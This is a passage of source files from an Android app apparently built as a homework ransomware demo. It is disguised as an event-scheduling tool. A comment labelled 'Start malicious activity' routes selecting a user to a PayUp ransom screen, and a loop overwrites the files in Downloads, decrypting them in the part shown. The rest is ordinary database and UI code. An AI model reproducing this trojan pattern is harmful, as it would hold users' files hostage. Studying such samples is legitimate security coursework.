266 | File downloadsFolder = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString());
267 |
268 | //Loop through the files, encrypting each one.
269 | for (File f : downloadsFolder.listFiles()) {
270 | if (f.isFile()) {
271 | currentFileName = f.getName();
272 | File fileToDecrypt = new File(downloadsFolder, currentFileName);
273 |
274 | byte[] fileToEncrypt_bytes = readFileToByteArray(fileToDecrypt); //Read in the file
275 | try {
276 | byte[] encryptedFile = decodeFile(ENCRYPTION_KEY, fileToEncrypt_bytes); //Decrypt the file
277 | BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(fileToDecrypt)); //Create output stream and overwrite the file.
278 | bos.write(encryptedFile);
279 | bos.flush();
280 | bos.close();
281 | }
282 | catch (FileNotFoundException e) { System.out.println("[BufferedOutputStream] Couldn't find the file!\n" + e); }
283 | catch (IOException e) { System.out.println("[IOException] Couldn't write the file!\n" + e); }
284 | catch (Exception e) { System.out.println("Couldn't decrypt the file!\n" + e); }
285 |
286 | }
287 | }
288 | }
289 |
290 | private void toggle() {
291 | // if (mVisible) {
292 | // hide();
293 | // } else {
294 | // show();
295 | // }
296 | hide();
297 | }
298 |
299 | private void hide() {
300 | // Hide UI first
301 | ActionBar actionBar = getActionBar();
302 | if (actionBar != null) {
303 | actionBar.hide();
304 | }
305 | mControlsView.setVisibility(View.GONE);
306 | mVisible = false;
307 |
308 | // Schedule a runnable to remove the status and navigation bar after a delay
309 | mHideHandler.removeCallbacks(mShowPart2Runnable);
310 | mHideHandler.postDelayed(mHidePart2Runnable, UI_ANIMATION_DELAY);
311 | }
312 |
313 | @SuppressLint("InlinedApi")
314 | private void show() {
315 | // Show the system bar
316 | mContentView.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
317 | | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
318 | mVisible = true;
319 |
320 | // Schedule a runnable to display UI elements after a delay
321 | mHideHandler.removeCallbacks(mHidePart2Runnable);
322 | mHideHandler.postDelayed(mShowPart2Runnable, UI_ANIMATION_DELAY);
323 | }
324 |
325 | /**
326 | * Schedules a call to hide() in delay milliseconds, canceling any
327 | * previously scheduled calls.
328 | */
329 | private void delayedHide(int delayMillis) {
330 | mHideHandler.removeCallbacks(mHideRunnable);
331 | mHideHandler.postDelayed(mHideRunnable, delayMillis);
332 | }
333 | }
334 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/SelectUserActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.Manifest;
4 | import android.app.Activity;
5 | import android.content.Context;
6 | import android.content.Intent;
7 | import android.content.pm.PackageManager;
8 | import android.os.Bundle;
9 | import android.support.v4.app.ActivityCompat;
10 | import android.text.TextUtils;
11 | import android.view.View;
12 | import android.widget.AdapterView;
13 | import android.widget.ArrayAdapter;
14 | import android.widget.EditText;
15 | import android.widget.ListView;
16 | import android.widget.Toast;
17 |
18 | import java.util.List;
19 |
20 | import wubbalubbadubdub.hw1700ransomware.data.DatabaseHelper;
21 |
22 | /**
23 | * This is the starting activity for our application. Here the user will select or add users
24 | * @author Damian, Lane
25 | * @version 1.0
26 | */
27 | public class SelectUserActivity extends Activity {
28 | private DatabaseHelper dbHelper;
29 | private Toast statusMessage;
30 | private ListView userList;
31 |
32 | /**
33 | * This function is called when the activity is first created
34 | * @param savedInstanceState Every oncreate needs this. Allows to revert to previous state
35 | * @since 1.0
36 | */
37 | @Override
38 | protected void onCreate(Bundle savedInstanceState) {
39 | super.onCreate(savedInstanceState);
40 | setContentView(R.layout.activity_select_user);
41 |
42 | dbHelper = new DatabaseHelper(getApplicationContext());
43 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
44 |
45 | userList = (ListView) findViewById(R.id.lvUsers);
46 |
47 | //Do permissions request on startup of the app
48 | int PERMISSION_ALL = 1;
49 | String[] PERMISSIONS = {
50 | Manifest.permission.READ_CONTACTS,
51 | Manifest.permission.READ_EXTERNAL_STORAGE,
52 | Manifest.permission.WRITE_EXTERNAL_STORAGE
53 | };
54 |
55 | if(!hasPermissions(this, PERMISSIONS))
56 | ActivityCompat.requestPermissions(this, PERMISSIONS, PERMISSION_ALL);
57 |
58 |
59 | //Start malicious activity
60 | userList.setOnItemClickListener(new AdapterView.OnItemClickListener() {
61 | @Override
62 | public void onItemClick(AdapterView> parent, View view, int position, long id) {
63 | String selectedUser = userList.getItemAtPosition(position).toString();
64 |
65 | Intent intent = new Intent(getApplicationContext(), PayUp.class);
66 | intent.putExtra("currentUser", selectedUser);
67 | startActivity(intent);
68 | }
69 | });
70 |
71 | //Start benign activity
72 | // userList.setOnItemClickListener(new AdapterView.OnItemClickListener() {
73 | // @Override
74 | // public void onItemClick(AdapterView> parent, View view, int position, long id) {
75 | // String selectedUser = userList.getItemAtPosition(position).toString();
76 | //
77 | // Intent intent = new Intent(getApplicationContext(), ListActivity.class);
78 | // intent.putExtra("currentUser", selectedUser);
79 | // startActivity(intent);
80 | // }
81 | // });
82 | populateUsers();
83 | }
84 |
85 | /**
86 | * This function utilizes the DatabaseHelper class to populate a listview with all users
87 | * in the database
88 | * @since 1.0
89 | */
90 | private void populateUsers() {
91 | List users = dbHelper.getUsers();
92 |
93 | ArrayAdapter arrayAdapter = new ArrayAdapter(
94 | this,
95 | android.R.layout.simple_list_item_1,
96 | users );
97 |
98 | userList.setAdapter(arrayAdapter);
99 | }
100 |
101 | private boolean hasPermissions(Context context, String... permissions) {
102 | if (context != null && permissions != null)
103 | for (String permission : permissions)
104 | if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED)
105 | return false;
106 | return true;
107 | }
108 |
109 | /**
110 | * This function will utilize the DatabaseHelper to add a new user
111 | * @param v The View that fired the addUser() function. In this case it is the addUserButton
112 | * @since 1.0
113 | */
114 | public void addUser(View v) {
115 | EditText textbox = (EditText) findViewById(R.id.newUsername);
116 | String name = textbox.getText().toString().trim(); //removes any lead/trailing spaces as well
117 |
118 |
119 | if (isValidName(name)) statusMessage.setText(name + " was added to the list of users");
120 | statusMessage.show();
121 | populateUsers();
122 | }
123 |
124 | /**
125 | *
126 | * @param name the string to check the validity of
127 | * @return false if the name contains invalid characters
128 | * @since 1.0
129 | */
130 | private boolean isValidName(String name) {
131 |
132 | //Conditions for valid username creation
133 | if (TextUtils.isEmpty(name)){ //Empty name
134 | statusMessage.setText("ERROR: Please input a name for the new user");
135 | return false;
136 | } else if (!name.matches("[a-zA-Z\\s]+")) { //Non a-z characters in name
137 | statusMessage.setText("ERROR: Name contains invalid characters");
138 | return false;
139 | } else if (dbHelper.addUser(name) == -1) { //name already exists
140 | statusMessage.setText("ERROR: That Username already exists!");
141 | return false;
142 | }else return true;
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/ViewActivity.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.graphics.Color;
6 | import android.graphics.Typeface;
7 | import android.os.Bundle;
8 | import android.util.TypedValue;
9 | import android.view.View;
10 | import android.view.ViewGroup;
11 | import android.widget.Button;
12 | import android.widget.TableLayout;
13 | import android.widget.TableRow;
14 | import android.widget.TextView;
15 | import android.widget.Toast;
16 |
17 | import java.util.ArrayList;
18 | import java.util.List;
19 | import java.util.Map;
20 |
21 | import wubbalubbadubdub.hw1700ransomware.data.DatabaseHelper;
22 | import wubbalubbadubdub.hw1700ransomware.data.Event;
23 | import wubbalubbadubdub.hw1700ransomware.data.HelperMethods;
24 |
25 | /**
26 | * This activity is for viewing a certain activity.
27 | * The view will be different dependent on if the Current user was the creator of the event
28 | * @author Dustin, Lane, Damian
29 | * @version 1.0
30 | */
31 | public class ViewActivity extends Activity {
32 |
33 | DatabaseHelper dbHelper;
34 |
35 | Boolean format = false;
36 |
37 | private int currentID;
38 | private String currentUser;
39 | private Event currentEvent;
40 |
41 | private List currentTimeslots;
42 | private List selectedTimeslots;
43 |
44 | private int selectedRow = -1;
45 | private int selectedSlot = -1;
46 |
47 | private Map userSignups;
48 |
49 | private Toast statusMessage;
50 |
51 | private boolean prevSignup;
52 |
53 | private boolean adminMode;
54 |
55 | //Color Variables - Material Design
56 | int BLUE_MAT = Color.rgb(2,136,209);
57 | int GREEN_MAT = Color.rgb(139,195,74);
58 |
59 | /**
60 | * Method called when the activity is first created and displayed to the screen
61 | * @param savedInstanceState Unused Bundle object. Usually used if the app is killed then we can resume
62 | */
63 | @Override
64 | protected void onCreate(Bundle savedInstanceState) {
65 | super.onCreate(savedInstanceState);
66 | setContentView(R.layout.activity_view);
67 |
68 | Intent intent = getIntent();
69 | currentID = intent.getIntExtra("eventID", -1);
70 | currentUser = intent.getStringExtra("currentUser");
71 |
72 | statusMessage = Toast.makeText(this, "", Toast.LENGTH_SHORT);
73 |
74 |
75 | dbHelper = new DatabaseHelper(getApplicationContext());
76 |
77 | currentEvent = dbHelper.getEvent(currentID);
78 |
79 | adminMode = currentUser.equals(currentEvent.getCreator());
80 |
81 | String creatorString = "Created by: " + currentEvent.getCreator();
82 | String eventString = currentEvent.getName() + " - " + ((adminMode) ? "Admin Mode" : "Select Availability");
83 |
84 | TextView eventName = (TextView) findViewById(R.id.tvEventName);
85 | TextView eventCreator = (TextView) findViewById(R.id.tvCreator);
86 | TextView eventDate = (TextView) findViewById(R.id.tvDate);
87 |
88 | eventName.setText(eventString);
89 | eventCreator.setText(creatorString);
90 | eventDate.setText(currentEvent.getDate());
91 |
92 | currentTimeslots = HelperMethods.listifyTimeslotInts(currentEvent.getTimeslots());
93 | selectedTimeslots = new ArrayList<>();
94 |
95 |
96 | updateTimeframe();
97 |
98 | userSignups = dbHelper.getSignups(currentID);
99 |
100 | prevSignup = userSignups.containsKey(currentUser);
101 |
102 |
103 |
104 | if (adminMode) {
105 | // View event status
106 | displayEventSignups();
107 |
108 | ((Button)findViewById(R.id.btnSave)).setVisibility(View.GONE);
109 | } else {
110 | // Set availability
111 |
112 | ((TextView)findViewById(R.id.tvSelectedUser)).setVisibility(View.GONE);
113 | populateTimeslotTable();
114 | }
115 |
116 | }
117 |
118 | /**
119 | * This method fills the timeslot table with the timeslots local to the current event
120 | */
121 | private void populateTimeslotTable() {
122 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
123 |
124 | // Clear table
125 | for (int i = 0; i < layout.getChildCount(); i++) {
126 | View row = layout.getChildAt(i);
127 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
128 | layout.removeAllViews();
129 | }
130 |
131 | List currentUserSelection = (prevSignup) ? HelperMethods.listifyTimeslotInts(userSignups.get(currentUser)) : null;
132 |
133 | if (prevSignup) selectedTimeslots = currentUserSelection;
134 |
135 | int count = 0;
136 | for (int i = 0; i < 4; i++) {
137 | TableRow tr = new TableRow(this);
138 | for (int j = 0; j < 12; j++) {
139 | final int current = count;
140 | Button b = new Button(this);
141 | b.setText(HelperMethods.toTime(count,format));
142 | b.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 15);
143 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
144 | cellParams.rightMargin = 5;
145 | b.setLayoutParams(cellParams);
146 | if (currentTimeslots.contains(count)) {
147 | boolean intSelect = false;
148 | if (currentUserSelection != null && currentUserSelection.contains(count)) {
149 | intSelect = true;
150 | b.setBackgroundColor(BLUE_MAT);
151 | } else {
152 | b.setBackgroundColor(GREEN_MAT);
153 | }
154 | final boolean select = intSelect;
155 |
156 | b.setOnClickListener(new Button.OnClickListener() {
157 | int id = current;
158 | boolean selected = select;
159 |
160 | @Override
161 | public void onClick(View v) {
162 | Button obj = (Button) v;
163 | if (selected) {
164 | obj.setBackgroundColor(GREEN_MAT);
165 | selectedTimeslots.remove(Integer.valueOf(id));
166 | } else {
167 | obj.setBackgroundColor(BLUE_MAT);
168 | selectedTimeslots.add(id);
169 | }
170 | selected = !selected;
171 | updateTimeDisplay();
172 | }
173 | });
174 | } else {
175 | b.setBackgroundColor(Color.DKGRAY);
176 | }
177 | tr.addView(b);
178 | count++;
179 | }
180 | TableLayout.LayoutParams tableRowParams = new TableLayout.LayoutParams(TableLayout.LayoutParams.MATCH_PARENT,TableLayout.LayoutParams.WRAP_CONTENT);
181 |
182 | tableRowParams.setMargins(10, 2, 10, 2);
183 |
184 | tr.setLayoutParams(tableRowParams);
185 |
186 | layout.addView(tr, tableRowParams);
187 | }
188 | updateTimeDisplay();
189 | }
190 |
191 | /**
192 | * This method displays the Event timeframe and which users are signed up
193 | */
194 | private void displayEventSignups() {
195 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
196 |
197 | TableRow header = new TableRow(this);
198 |
199 |
200 | // Clear table
201 | for (int i = 0; i < layout.getChildCount(); i++) {
202 | View row = layout.getChildAt(i);
203 | if (row instanceof TableRow) ((ViewGroup) row).removeAllViews();
204 | layout.removeAllViews();
205 | }
206 |
207 |
208 | TableRow.LayoutParams cellParams = new TableRow.LayoutParams();
209 | cellParams.setMargins(20, 20, 20, 20);
210 |
211 | TextView userHeader = new TextView(this);
212 | userHeader.setText("User");
213 | userHeader.setTextSize(15);
214 | userHeader.setTypeface(null, Typeface.BOLD);
215 | userHeader.setLayoutParams(cellParams);
216 | header.addView(userHeader);
217 |
218 | for (int slot : currentTimeslots) {
219 | TextView slotHeader = new TextView(this);
220 | slotHeader.setText(HelperMethods.toTime(slot, format));
221 | slotHeader.setTextSize(15);
222 | slotHeader.setTypeface(null, Typeface.BOLD);
223 | slotHeader.setLayoutParams(cellParams);
224 | final int thisSlot = slot;
225 |
226 | slotHeader.setOnClickListener(new View.OnClickListener() {
227 | int slot = thisSlot;
228 |
229 | @Override
230 | public void onClick(View view) {
231 | selectedRow = -1;
232 | selectedSlot = slot;
233 |
234 | highlightSelection();
235 |
236 | }
237 | });
238 |
239 | header.addView(slotHeader);
240 | }
241 |
242 | header.setBackgroundColor(Color.GRAY);
243 |
244 | layout.addView(header);
245 | int count = 1;
246 | for (Map.Entry entry : userSignups.entrySet()) {
247 | TableRow signupRow = new TableRow(this);
248 |
249 | TextView username = new TextView(this);
250 | username.setPadding(10, 20, 10, 20);
251 | username.setText(entry.getKey());
252 | username.setTypeface(null, Typeface.BOLD);
253 | signupRow.addView(username);
254 | List slots = HelperMethods.listifyTimeslotInts(entry.getValue());
255 |
256 | for (int slot : currentTimeslots) {
257 | TextView avail = new TextView(this);
258 |
259 | if (slots.contains(slot)) {
260 | // User is signed up for this
261 | avail.setText("AVAILABLE");
262 | avail.setBackgroundColor(GREEN_MAT);
263 | } else if (entry.getValue().isEmpty()) {
264 | avail.setBackgroundColor(Color.RED);
265 | } else {
266 | avail.setBackgroundColor(Color.LTGRAY);
267 | }
268 | avail.setPadding(20, 20, 20, 20);
269 |
270 | signupRow.addView(avail);
271 | }
272 |
273 | final int currentRow = count;
274 |
275 | signupRow.setOnClickListener(new View.OnClickListener() {
276 | int thisRow = currentRow;
277 |
278 | @Override
279 | public void onClick(View view) {
280 | selectedRow = thisRow;
281 | highlightSelection();
282 | }
283 | });
284 |
285 | layout.addView(signupRow);
286 | count++;
287 |
288 | }
289 | }
290 |
291 | /**
292 | * This method allows for selection of a table row and displaying a user-friendly list of
293 | * the given user's availability
294 | */
295 | private void highlightSelection() {
296 | String disp;
297 | TableLayout layout = (TableLayout) findViewById(R.id.tbLayout);
298 |
299 | TableRow highlight = (TableRow)layout.getChildAt(selectedRow);
300 | if (selectedRow != -1) {
301 |
302 | String user = ((TextView)highlight.getChildAt(0)).getText().toString();
303 |
304 | disp = user + "'s Availability: " + HelperMethods.getTimeString(HelperMethods.listifyTimeslotInts((userSignups.get(user))), format);
305 | } else {
306 |
307 | String users = "";
308 | int userCount = 0;
309 |
310 | for (Map.Entry entry : userSignups.entrySet()) {
311 | if (HelperMethods.listifyTimeslotInts(entry.getValue()).contains(selectedSlot)) {
312 | userCount++;
313 | users = users + entry.getKey() + ", ";
314 | }
315 | }
316 |
317 | if (userCount > 0) users = users.substring(0, users.length() - 3);
318 |
319 | disp = "For timeslot " + HelperMethods.toTime(selectedSlot, format) + " " + userCount + " user(s) are available: " + users;
320 | }
321 |
322 | ((TextView)findViewById(R.id.tvSelectedUser)).setText(disp);
323 | }
324 |
325 | /**
326 | * This function saves the user's current availability for an event
327 | * @param v View of the button that was pressed
328 | */
329 | public void saveSelection(View v) {
330 | if (prevSignup) {
331 | // User has signed up previously, so call the update method
332 | if (dbHelper.updateSignup(currentID, currentUser, selectedTimeslots) > 0) {
333 | statusMessage.setText("Successfully saved your availability");
334 | } else {
335 | statusMessage.setText("Something went wrong");
336 | }
337 | } else {
338 | // User has not signed up before, so call the insert method
339 | if (dbHelper.addSignup(currentID,currentUser,selectedTimeslots) != -1) {
340 | statusMessage.setText("Successfully saved your availability");
341 | } else {
342 | statusMessage.setText("Somethign went wrong");
343 | }
344 | }
345 | statusMessage.show();
346 | finish();
347 | }
348 |
349 | /**
350 | * This function updates the display of the user's current selected availability.
351 | */
352 | private void updateTimeDisplay() {
353 | TextView timeDisplay = (TextView) findViewById(R.id.tvSelectedTimes);
354 |
355 | String disp = "Your Selected Availability: " + HelperMethods.getTimeString(selectedTimeslots, format);
356 |
357 | timeDisplay.setText(disp);
358 | }
359 |
360 | /**
361 | * This function updates the timeframe of the event on creation and when the 12h/24h is toggled.
362 | */
363 | private void updateTimeframe() {
364 |
365 | TextView eventTimeframe = (TextView) findViewById(R.id.tvEventTimeframe);
366 |
367 | eventTimeframe.setText("Event timeframe: " + HelperMethods.getTimeString(currentTimeslots, format));
368 | }
369 |
370 | /**
371 | * This function toggles the 12h/24h format
372 | * @param v View of the button that was pressed
373 | */
374 | public void toggleTimeFormat(View v) {
375 | format = !format;
376 |
377 | if (adminMode) {
378 | displayEventSignups();
379 | highlightSelection();
380 | } else {
381 | populateTimeslotTable();
382 |
383 | updateTimeDisplay();
384 | }
385 | updateTimeframe();
386 | }
387 | }
388 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/data/DBContract.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware.data;
2 |
3 |
4 | import android.provider.BaseColumns;
5 |
6 | /**
7 | * DBContract.java
8 | * @author Damian
9 | * @version 1.0
10 | * This class contains the contract work that will help our database class
11 | */
12 | public final class DBContract {
13 |
14 | // Version should be changed IF any schemas are MODIFIED
15 | public static final int DATABASE_VERSION = 2;
16 | public static final String DATABASE_NAME = "database.db";
17 |
18 |
19 | /**
20 | * Constructor is private so the contract can never be somehow initialized
21 | */
22 | private DBContract() {}
23 |
24 | /**
25 | * {Class} Users
26 | * This defines the columns for our Users table
27 | * @since 1.0
28 | */
29 | public static class UserTable implements BaseColumns {
30 | public static final String TABLE_NAME = "users";
31 | public static final String COLUMN_NAME_NAME = "name";
32 |
33 | public static final String CREATE_TABLE = "CREATE TABLE " +
34 | TABLE_NAME + " (" +
35 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
36 | COLUMN_NAME_NAME + " TEXT COLLATE NOCASE UNIQUE);";
37 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
38 | }
39 |
40 | /**
41 | * {Class} Events
42 | * This defines the columns for our Events table.
43 | * @since 1.0
44 | */
45 | public static class EventTable implements BaseColumns { // If we implement BaseColumns, we can utilize _ID as a default column
46 | public static final String TABLE_NAME = "events";
47 | public static final String COLUMN_NAME_TITLE = "title";
48 | public static final String COLUMN_NAME_TIMESLOTS = "timeslots";
49 | public static final String COLUMN_NAME_CREATOR = "creator";
50 | public static final String COLUMN_NAME_DAY = "day";
51 |
52 | public static final String CREATE_TABLE = "CREATE TABLE " +
53 | TABLE_NAME + " (" +
54 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
55 | COLUMN_NAME_TITLE + " TEXT," +
56 | COLUMN_NAME_DAY + " TEXT," +
57 | COLUMN_NAME_TIMESLOTS + " TEXT," +
58 | COLUMN_NAME_CREATOR + " TEXT);";
59 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
60 | }
61 |
62 | /**
63 | * {Class} Signups
64 | * This defines the columns for our Signups table
65 | * @since 1.0
66 | */
67 | public static class SignupTable implements BaseColumns {
68 | public static final String TABLE_NAME = "signups";
69 | public static final String COLUMN_NAME_EVENT = "eid";
70 | public static final String COLUMN_NAME_USER = "user";
71 | public static final String COLUMN_NAME_AVAIL = "availability";
72 |
73 | public static final String CREATE_TABLE = "CREATE TABLE " +
74 | TABLE_NAME + " (" +
75 | _ID + " INTEGER PRIMARY KEY AUTOINCREMENT," +
76 | COLUMN_NAME_EVENT + " INTEGER," +
77 | COLUMN_NAME_USER + " TEXT," +
78 | COLUMN_NAME_AVAIL + " TEXT);";
79 | public static final String DROP_TABLE = "DROP TABLE IF EXISTS " + TABLE_NAME;
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/ransom/app/src/main/java/wubbalubbadubdub/hw1700ransomware/data/DatabaseHelper.java:
--------------------------------------------------------------------------------
1 | package wubbalubbadubdub.hw1700ransomware.data;
2 |
3 | import android.content.ContentValues;
4 | import android.content.Context;
5 | import android.database.Cursor;
6 | import android.database.sqlite.SQLiteDatabase;
7 | import android.database.sqlite.SQLiteOpenHelper;
8 |
9 | import java.util.ArrayList;
10 | import java.util.HashMap;
11 | import java.util.List;
12 | import java.util.Map;
13 |
14 | /**
15 | * DatabaseHelper.java
16 | * @author Damian, Lane
17 | * @version 1.0
18 | * This class contains helper methods that interact with the Database. This replaced the Dataclass
19 | */
20 | public class DatabaseHelper extends SQLiteOpenHelper {
21 | /**
22 | * Default constructor for the databasehelper.
23 | * @param context Always the entire application context because we want the database to be for the whole application.
24 | */
25 | public DatabaseHelper(Context context) {
26 | super(context, DBContract.DATABASE_NAME, null, DBContract.DATABASE_VERSION);
27 | }
28 |
29 | /**
30 | * Called when the DatabaseHelper class is created. Will create database tables if they do not exist.
31 | * @param db Current writable database
32 | */
33 | @Override
34 | public void onCreate(SQLiteDatabase db) {
35 | // Create all tables
36 | db.execSQL(DBContract.UserTable.CREATE_TABLE);
37 | db.execSQL(DBContract.EventTable.CREATE_TABLE);
38 | db.execSQL(DBContract.SignupTable.CREATE_TABLE);
39 | }
40 |
41 | /**
42 | * Called when the database version is changed in DBContract
43 | * @param db Current writable database
44 | * @param oldVersion Old version of DB. Set in DBContract
45 | * @param newVersion New version of DB. Set in DBContract
46 | */
47 | @Override
48 | public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
49 | // Delete all tables
50 | db.execSQL(DBContract.UserTable.DROP_TABLE);
51 | db.execSQL(DBContract.EventTable.DROP_TABLE);
52 | db.execSQL(DBContract.SignupTable.DROP_TABLE);
53 | onCreate(db);
54 | }
55 |
56 | //region User Table Methods
57 |
58 | /**
59 | *
60 | * @param name the name of the new user to add
61 | * @return -1 for failure, otherwise will return the row inserted at.
62 | */
63 | public long addUser(String name) {
64 | SQLiteDatabase db = this.getWritableDatabase(); // is this okay?
65 |
66 | ContentValues values = new ContentValues();
67 | values.put(DBContract.UserTable.COLUMN_NAME_NAME, name);
68 |
69 | return db.insert(DBContract.UserTable.TABLE_NAME, null, values);
70 | }
71 |
72 | /**
73 | * This method queries our User table for all Usernames
74 | * @return List of strings containing all users
75 | */
76 | public List getUsers() {
77 | SQLiteDatabase db = this.getReadableDatabase();
78 |
79 | // Even though we only get one column, SQLiteDatabase.query() requires a string array
80 | String[] columns = {
81 | DBContract.UserTable.COLUMN_NAME_NAME
82 | };
83 | String sortOrder = DBContract.UserTable.COLUMN_NAME_NAME + " COLLATE NOCASE ASC";
84 |
85 | Cursor query = db.query(
86 | DBContract.UserTable.TABLE_NAME,
87 | columns,
88 | null, null, null, null,
89 | sortOrder
90 | );
91 |
92 | List names = new ArrayList<>();
93 | while (query.moveToNext()) {
94 | String name = query.getString(query.getColumnIndexOrThrow(DBContract.UserTable.COLUMN_NAME_NAME));
95 | names.add(name);
96 | }
97 |
98 | query.close();
99 |
100 | return names;
101 | }
102 |
103 | //endregion
104 |
105 |
106 |
107 | //region Event Table Methods
108 |
109 | /**
110 | * This function will add an event to the event table
111 | * @param e - Event object passed when the save button is clicked with valid event params
112 | * @return event ID
113 | * @since 1.0
114 | */
115 | public int addEvent(Event e) {
116 |
117 | SQLiteDatabase db = this.getWritableDatabase();
118 | ContentValues values = new ContentValues();
119 |
120 | values.put(DBContract.EventTable.COLUMN_NAME_TITLE, e.getName());
121 | values.put(DBContract.EventTable.COLUMN_NAME_TIMESLOTS, e.getTimeslots());
122 | values.put(DBContract.EventTable.COLUMN_NAME_CREATOR, e.getCreator());
123 | values.put(DBContract.EventTable.COLUMN_NAME_DAY, e.getDate());
124 |
125 | db.insert(DBContract.EventTable.TABLE_NAME, null, values); //Perform insertion
126 |
127 | //Get the ID of the event we just created and return it
128 | String[] columns = {DBContract.EventTable._ID};
129 | String sortOrder = DBContract.EventTable._ID + " DESC";
130 |
131 |
132 | Cursor query = db.query(
133 | DBContract.EventTable.TABLE_NAME,
134 | columns,
135 | null, null, null, null,
136 | sortOrder
137 | );
138 | query.moveToNext();
139 | int eventID = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
140 | query.close();
141 |
142 | return eventID;
143 | }
144 |
145 | /**
146 | * This function will get all events from the event table
147 | * @return A sorted ArrayList of Events from the Database
148 | * @since 1.0
149 | */
150 | public ArrayList getAllEvents() {
151 |
152 | SQLiteDatabase db = this.getReadableDatabase();
153 |
154 | ArrayList sortedListOfEvents = new ArrayList<>(); // Will be sorted through SQL
155 |
156 | String[] columns = {
157 | DBContract.EventTable._ID,
158 | DBContract.EventTable.COLUMN_NAME_TITLE,
159 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
160 | DBContract.EventTable.COLUMN_NAME_CREATOR,
161 | DBContract.EventTable.COLUMN_NAME_DAY
162 | };
163 |
164 | //Sort by day for now. Could hypothetically get weird when multiple years are involved
165 | String sortOrder = DBContract.EventTable.COLUMN_NAME_DAY + " COLLATE NOCASE ASC";
166 |
167 | Cursor query = db.query(
168 | DBContract.EventTable.TABLE_NAME,
169 | columns,
170 | null, null, null, null,
171 | sortOrder
172 | );
173 |
174 | //Populate event vector
175 | while (query.moveToNext()) {
176 |
177 | int id;
178 | String title, timeslots, creator, day;
179 |
180 | id = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
181 | title = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
182 | timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
183 | creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
184 | day = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
185 |
186 | //Create Event object from row and add to Vector
187 | Event e = new Event(id, day, title, creator, timeslots); // LOL This stuff was in the wrong order... Come on guys...
188 | sortedListOfEvents.add(e);
189 | }
190 |
191 | query.close();
192 |
193 | return sortedListOfEvents;
194 | }
195 |
196 | /**
197 | * Get events from given user.
198 | * @param user - Username to retrieve events for.
199 | * @return Sorted Event vector of a given user's created events
200 | */
201 | public ArrayList getUserEvents(String user) {
202 | SQLiteDatabase db = this.getReadableDatabase();
203 |
204 | ArrayList sortedListOfEvents = new ArrayList<>(); // Will be sorted through SQL
205 |
206 | String[] userArr = {user}; //(Needs to be in an array to use as a WHERE argument)
207 |
208 | String[] columns = {
209 | DBContract.EventTable._ID,
210 | DBContract.EventTable.COLUMN_NAME_TITLE,
211 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
212 | DBContract.EventTable.COLUMN_NAME_CREATOR,
213 | DBContract.EventTable.COLUMN_NAME_DAY
214 | };
215 |
216 | //Sort by day for now. Could hypothetically get weird when multiple years are involved
217 | String sortOrder = DBContract.EventTable.COLUMN_NAME_DAY + " COLLATE NOCASE ASC";
218 |
219 | Cursor query = db.query(
220 | DBContract.EventTable.TABLE_NAME,
221 | columns,
222 | "creator = ?", userArr, null, null,
223 | sortOrder
224 | );
225 |
226 | //Populate event List
227 | while (query.moveToNext()) {
228 |
229 | int id;
230 | String title, timeslots, creator, day;
231 |
232 | id = Integer.parseInt(query.getString(query.getColumnIndexOrThrow(DBContract.EventTable._ID)));
233 | title = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TITLE));
234 | timeslots = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_TIMESLOTS));
235 | creator = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_CREATOR));
236 | day = query.getString(query.getColumnIndexOrThrow(DBContract.EventTable.COLUMN_NAME_DAY));
237 |
238 | //Create Event object from row and add to Vector
239 | Event e = new Event(id, day, title, creator, timeslots);
240 | sortedListOfEvents.add(e);
241 | }
242 |
243 | query.close();
244 |
245 | return sortedListOfEvents;
246 | }
247 |
248 | //endregion
249 |
250 |
251 |
252 | //region Signup Table Methods
253 |
254 | /**
255 | * @param eventID ID of event in Table
256 | * @return Event object containing all event info
257 | */
258 | public Event getEvent(int eventID) {
259 |
260 | SQLiteDatabase db = this.getReadableDatabase();
261 |
262 | String[] columns = {
263 | DBContract.EventTable.COLUMN_NAME_TIMESLOTS,
264 | DBContract.EventTable.COLUMN_NAME_CREATOR,
265 | DBContract.EventTable.COLUMN_NAME_DAY,
266 | DBContract.EventTable.COLUMN_NAME_TITLE
